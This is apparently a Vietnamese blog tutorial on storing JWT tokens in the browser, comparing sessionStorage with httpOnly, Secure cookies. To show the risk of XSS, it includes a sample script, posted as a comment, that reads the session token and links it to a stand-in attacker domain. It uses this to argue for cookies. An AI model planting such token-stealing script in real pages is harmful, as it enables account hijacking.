JSON Web Token: Lưu trữ và bảo mật tokens trên client như thế nào?

Lưu trữ và bảo mật tokens. Sau những bài viết về JSON Web Token(JWT) đa số các bạn cũng đã hiểu và đã apply cho các ứng dụng của mình. Các luồng đi của việc create và verify một tokens xem như đã xong, nhưng có có một vấn đề quan trọng mà các bạn bỏ qua. Đó là việc khi client nhận được tokens thì việc storage ở đâu và việc bảo mật nó như thế nào để tránh bị đánh cắp. Vậy thì trong bài viết này tôi sẽ trình bày cho các bạn hiểu rõ hơn về vấn đề này. Tất nhiên có nhiều cách khác, nhưng bài viết này giúp bạn có thể hiểu sâu hơn và có thể bạn tìm thấy phương pháp này ở đây. 

✔ Yêu cầu người đọc: 

1 - Hiểu về JSON Web Token 

2 - Hiểu về SessionStorage và Cookie httpOnly, Secure. 

3 - Đã đọc qua những bài viết "Series JSON Web Token" 

✔  Tại sao phải lưu trữ token trên Client. 

Việc lưu trữ token trên client là điều bình thường, việc đó được cho là một client đã sẵn sàng tương tác với backend khi đã vượt qua được việc xác thực. Khi client xác thực xong với Authorization Server thì sẽ được cấp phát một tokens để một user có thể truy cập các dữ liệu trong quyền hạn của một user. Và việc lữu trữ nó là việc quan trọng. Nếu như không lưu trữ token thì user đó không thể lấy token để truy được dữ liệu của hệ thống. 

✔  Cách lưu trữ token và vấn đề bảo mật

Ở trong bài viết này tôi chỉ trình bày hai cách hiện nay đang tranh luận đó là việc lưu trữ vào sessionStorageCookie. Đương nhiên hai khái niệm này tất cả các bạn đều biết khi sử dụng việc lưu dữ liệu trên trình duyệt, nhưng hầu như các bạn lại chưa hiểu các tấn công của các hackers thông qua Cross-Site Scripting (XSS). Để không chờ lâu thì tôi sẽ vào ví dụ cụ thể 

1 - Session Storage 

Session Storage mất khi nào? Khi close tab. Nhớ là Khi close tab. 

Cách set một token dùng Session Storage

authenticate(login, password)
    .then(function(authentication) {
        window.sessionStorage.setItem('token', authentication.token);
    })
    .then(getAccounts)
    .then(function(accounts) {
        // display the accounts page
        // ...
    })
    .catch(function(error) {
        // display error message in the login form
        // ...
    });
 

Nhìn vào code các bạn cũng hình dung ra nó làm việc như thế nào rồi chứ.

window.sessionStorage.setItem('token', authentication.token);

Chính là set token. và rất đơn giản khi lấy token và verify chúng.

/**
 * @return {Promise}
 */
function getAccounts() {
    return fetch('https://api.anonystickbank.com/accounts', {
        headers: {
            'Authorization': 'Token ' + window.sessionStorage.getItem('token'),
            'Content-Type': 'application/json; charset=utf-8',
            'Accept': 'application/json',
        }
    }).then(function(response) {
        return response.json();
    })
}

Rất ok, code nhìn rất đẹp nhưng nó có vấn đề về những cuộc tấn công XSS. Bản thân sessionStorage không an toàn khi mà bất cứ những gì được lưu trên đó dễ bị đánh cắp. Và để hình dung câu chuyện trên tôi sẽ lấy một ví dụ về XSS attack. Ví dụ một ai đó commented vào một bài viết mà bạn đang là admin như thế này.

<script>
    var token = window.sessionStorage.getItem('token');
    var a=document.createElement("a");
    a.innerHTML = 'See my profile xxx';
    a.href = 'http://domain.hackers/myprofile?token=' + token;
    document.body.appendChild(a);
</script>

Và bạn vô tình click để xem my profile xxx thì xem như token của bạn đã bị đánh chiếm. Cuộc chơi có thể kết thúc. 

Thông qua việc bạn click 'http://domain.hackers/myprofile?token=' + token; thi Token sẽ đang chiếm và sử dunhj việc gì thì chúa mới biết. :D.

 Để tránh tình trạng đó thì tôi khuyên bạn hãy từ bỏ cách này và hãy sử dụng cookie. Mặc dù cookie cũng có thể bị đánh cắp nhưng với việc set httpOnlySecure. Thì điều đó có thể ngăn chặn được các cuộc tấn công XSS, vì chỉ có domain được cấp phép và việc kết hợp tới server thì mới có thể lấy được token khi sử dụng cookies

Tại sao tôi lại nói như vậy thì hãy xem tiếp. 

2 - Session Cookie Storage 

Với việc lưu trữ với httpOnly thì việc javascript không thể truy cập được các gía trị Cookie. Muốn lấy được gia trị Cookie đó thì phải nhờ đến browser tự động gửi đi. Do đó, viêcj tránh được XSS là khá cao và an toàn hơn. Nó có dạng thế này: 

Set-Cookie: session=15d38683-a98f-402d-a373-4f81a5549536; path=/; expires=xxxxxxx; httponly 

httponly giúp các giá trị cookie vô hình với javascript. Giờ đây các bạn có thể thử

document.cookie ---> ''

Tiếp đến khi viết API thì chúng ta hãy sử dụng SecureCors thì xem như khá chắn chắn trong việc bảo vệ token này. Vậy cách triển khai một REST API với cookie httpOnly như thế nào? Bài sau tôi sẽ làm một bài thực tế cho các bạn hiểu rõ hơn. 

Xin chào và hẹn gặp lại bài tiếp theo "Cách viết REST API sử dụng JWT, Cookies httpOnly, Nodejs"